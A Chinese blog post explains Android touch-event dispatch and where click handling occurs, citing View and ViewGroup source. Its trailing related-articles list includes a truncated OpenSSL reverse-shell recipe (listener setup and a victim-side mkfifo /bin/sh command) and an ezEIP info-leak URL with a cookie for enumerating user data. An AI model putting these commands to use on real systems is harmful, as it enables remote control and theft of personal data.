Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。
第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。
处理层叠的view,要执行下一层的view的点击事件
我们知道,方法是将上一层的view设置setOnTouchListener的onTouch() return false;
iv_right.setOnTouchListener { _, _ ->false
}
那么,原理是啥?其实看源码就可以了解。
首先,viewGroup的 dispatchTouchEvent 在 onInterceptTouchEvent不拦截的情况下, 传递Event到 view的 dispatchTouchEvent,然后在
其方法体中,实现原理如一下源代码:
if (onFilterTouchEventForSecurity(event)) {if ((mViewFlags & ENABLED_MASK) == ENABLED && handleScrollBarDragging(event)) {result = true;}//noinspection SimplifiableIfStatementListenerInfo li = mListenerInfo;if (li != null && li.mOnTouchListener != null&& (mViewFlags & ENABLED_MASK) == ENABLED&& li.mOnTouchListener.onTouch(this, event)) {result = true;}if (!result && onTouchEvent(event)) {result = true;}}//...return result;
而onTouchEvent默认是false。因此,最后的result就是返回了false。这个时候,会回到ViewGroup层。再回过来看其 dispatchTouchEvent的这段代码:
//...(此处省略部分源码)
final int childrenCount = mChildrenCount;if (newTouchTarget == null && childrenCount != 0) {final float x =isMouseEvent ? ev.getXCursorPosition() : ev.getX(actionIndex);final float y =isMouseEvent ? ev.getYCursorPosition() : ev.getY(actionIndex);// Find a child that can receive the event.// Scan children from front to back.final ArrayList<View> preorderedList = buildTouchDispatchChildList();final boolean customOrder = preorderedList == null&& isChildrenDrawingOrderEnabled();final View[] children = mChildren;for (int i = childrenCount - 1; i >= 0; i--) {final int childIndex = getAndVerifyPreorderedIndex(childrenCount, i, customOrder);final View child = getAndVerifyPreorderedView(preorderedList, children, childIndex);if (!child.canReceivePointerEvents()|| !isTransformedTouchPointInView(x, y, child, null)) {continue;}newTouchTarget = getTouchTarget(child);if (newTouchTarget != null) {// Child is already receiving touch within its bounds.// Give it the new pointer in addition to the ones it is handling.newTouchTarget.pointerIdBits |= idBitsToAssign;break;}resetCancelNextUpFlag(child);if (dispatchTransformedTouchEvent(ev, false, child, idBitsToAssign)) {// Child wants to receive touch within its bounds.mLastTouchDownTime = ev.getDownTime();if (preorderedList != null) {// childIndex points into presorted list, find original indexfor (int j = 0; j < childrenCount; j++) {if (children[childIndex] == mChildren[j]) {mLastTouchDownIndex = j;break;}}} else {mLastTouchDownIndex = childIndex;}mLastTouchDownX = ev.getX();mLastTouchDownY = ev.getY();newTouchTarget = addTouchTarget(child, idBitsToAssign);alreadyDispatchedToNewTouchTarget = true;break;}// The accessibility focus didn't handle the event, so clear// the flag and do a normal dispatch to all children.ev.setTargetAccessibilityFocus(false);}
由此,可知viewgroup会在这个方法中,遍历对应区域下的所有view。如果所有view都没消费掉这个Event的时候,dispatchTouchEvent会继续执行接下来的代码,
// Dispatch to touch targets.if (mFirstTouchTarget == null) {// No touch targets so treat this as an ordinary view.handled = dispatchTransformedTouchEvent(ev, canceled, null,TouchTarget.ALL_POINTER_IDS);
这这段代码中,可以看到,进入了if语句,语句中执行了dispatchTransformedTouchEvent()方法。可以看到,它的源码中,它会在这个场景下,回调super.dispatchTouchEvent(event);最终执行了viewGroup自身的onTouchEvent()方法。
private boolean dispatchTransformedTouchEvent(MotionEvent event, boolean cancel,View child, int desiredPointerIdBits) {final boolean handled;// Canceling motions is a special case. We don't need to perform any transformations// or filtering. The important part is the action, not the contents.final int oldAction = event.getAction();if (cancel || oldAction == MotionEvent.ACTION_CANCEL) {event.setAction(MotionEvent.ACTION_CANCEL);if (child == null) {handled = super.dispatchTouchEvent(event);} else {handled = child.dispatchTouchEvent(event);}event.setAction(oldAction);return handled;}//...(此处省略部分源码)
}
这样,最终形成闭环。也就是上一篇文章所画的流程了。第一篇在这:Android:事件分发机制
click在整体流程中的哪个节点上
这个其实在第一篇的4.3节有提到过。但是没说得很多,在这里补充一下。
这个问题的切入点,我们从最常见的设置点击事件开始说起。
mTv.setOnClickListener(v -> {});
这里,设置给了View的mOnClickListener。然后,这个回调会在performClick中被调用。
public boolean performClick() {// We still need to call this method to handle the cases where performClick() was called// externally, instead of through performClickInternal()notifyAutofillManagerOnClick();final boolean result;final ListenerInfo li = mListenerInfo;if (li != null && li.mOnClickListener != null) {playSoundEffect(SoundEffectConstants.CLICK);li.mOnClickListener.onClick(this);result = true;} else {result = false;}sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_CLICKED);notifyEnterOrExitForAutoFillIfNeeded(true);return result;}
然后,它会在onTouchEvent中被调用。具体是在MotionEvent.ACTION_UP中执行了performClickInternal()。
看部分源码如下:
//...(此处省略部分源码)
if (clickable || (viewFlags & TOOLTIP) == TOOLTIP) {switch (action) {case MotionEvent.ACTION_UP:mPrivateFlags3 &= ~PFLAG3_FINGER_DOWN;if ((viewFlags & TOOLTIP) == TOOLTIP) {handleTooltipUp();}if (!clickable) {removeTapCallback();removeLongPressCallback();mInContextButtonPress = false;mHasPerformedLongPress = false;mIgnoreNextUpEvent = false;break;}boolean prepressed = (mPrivateFlags & PFLAG_PREPRESSED) != 0;if ((mPrivateFlags & PFLAG_PRESSED) != 0 || prepressed) {// take focus if we don't have it already and we should in// touch mode.boolean focusTaken = false;if (isFocusable() && isFocusableInTouchMode() && !isFocused()) {focusTaken = requestFocus();}if (prepressed) {// The button is being released before we actually// showed it as pressed. Make it show the pressed// state now (before scheduling the click) to ensure// the user sees it.setPressed(true, x, y);}if (!mHasPerformedLongPress && !mIgnoreNextUpEvent) {// This is a tap, so remove the longpress checkremoveLongPressCallback();// Only perform take click actions if we were in the pressed stateif (!focusTaken) {// Use a Runnable and post this rather than calling// performClick directly. This lets other visual state// of the view update before click actions start.if (mPerformClick == null) {mPerformClick = new PerformClick();}if (!post(mPerformClick)) {performClickInternal();}}}//...(此处省略部分源码)
相关文章:
Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...
vue2时间处理插件——dayjs
在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...
软考 系统架构设计师系列知识点之软件质量属性(6)
接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...
Python6-wxPython库
Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...
使用OpenSSL的反弹shell
1、攻击机生成证书: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...
竞赛选题 深度学习OCR中文识别 - opencv python
文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习OCR中文识别系统 ** 该项目较为新颖,适合作为竞赛课题方向,…...
ezEIP信息泄露
漏洞描述 ezEIP存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息) WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...
02.机器学习原理(复习)
目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》,B站自行搜…...
电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。
一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造,特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能,包括线路过…...
UE4和C++ 开发--HUD类
HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器,创建一个蓝图类,搜索HUD,选择并命名BP_HUD。 2. 开始绘制 打开事件列表,右键搜索 EventReceive Draw HUD。有两…...
使用js怎么设置视频背景
要使用JavaScript设置网页的视频背景,你需要将视频元素添加到你的HTML文档中,然后使用JavaScript来控制它 首先,在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...
Gin,Gorm实现Web计算器
目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符,替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...
11-网络篇-DNS步骤
1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器:…...
设计师都应该知道的事:极简主义家具该怎么去用
这座房子有黑暗而沉重的特征,包括棕色和白色的马赛克浴室瓷砖,弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远,白色,干净和简约,接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...
设计模式02———建造者模式 c#
首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒(个人喜好) 任务:使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...
2023最新接口自动化测试面试题
1、get和post的区别? l http是上层请求协议,主要定义了服务端和客户端的交互规格,底层都是tcp/ip协议 l Get会把参数附在url之后,用?分割,&连接不同参数,Get获取资源,post会把…...
GaN器件的工作原理
目录 AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件)常关 AlGaN/GaN 功率晶体管(增强型器件)HD-GIT与SP-HEMT AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件) 来源:毫米波GaN基功率器件及MMIC电路…...
点云从入门到精通技术详解100篇-海量三维点云的空间索引及可视化应用(续)
目录 3.2.3 方向八叉树与八叉树的比较 3.3 多级索引结构 3.3.1 多级索引结构的构建...
androidx和v4包资源冲突解决方法
一、资源包会报如下错误: 错误类似 (androidx.core:core:1.10.0) 和 (com.android.support:support-compat:24.2.0) 表示资源重复,不知调用androidx包下面的,还是v4包下面的 Duplicate class android.support.v4.app.INotificationSideCha…...
【发烧期间随笔】第一次游戏开发经历的总结与反思
一、前言 这两天三阳了,头疼头晕恶心发烧打喷嚏流鼻涕咳嗽嗓子疼气管疼都找上门来了,这导致一周以来都没学什么东西,无意间又刷到各个游戏厂关于本人目标岗位HC骤减且要求造火箭的能力的消息,这两天一直是在病痛和焦虑中度过的&a…...
理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
【大模型RAG】Docker 一键部署 Milvus 完整攻略
本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装;只需暴露 19530(gRPC)与 9091(HTTP/WebUI)两个端口,即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...
深入理解JavaScript设计模式之单例模式
目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式(Singleton Pattern&#…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...
【AI学习】三、AI算法中的向量
在人工智能(AI)算法中,向量(Vector)是一种将现实世界中的数据(如图像、文本、音频等)转化为计算机可处理的数值型特征表示的工具。它是连接人类认知(如语义、视觉特征)与…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点,但无自动故障转移能力,Master宕机后需人工切换,期间消息可能无法读取。Slave仅存储数据,无法主动升级为Master响应请求ÿ…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...
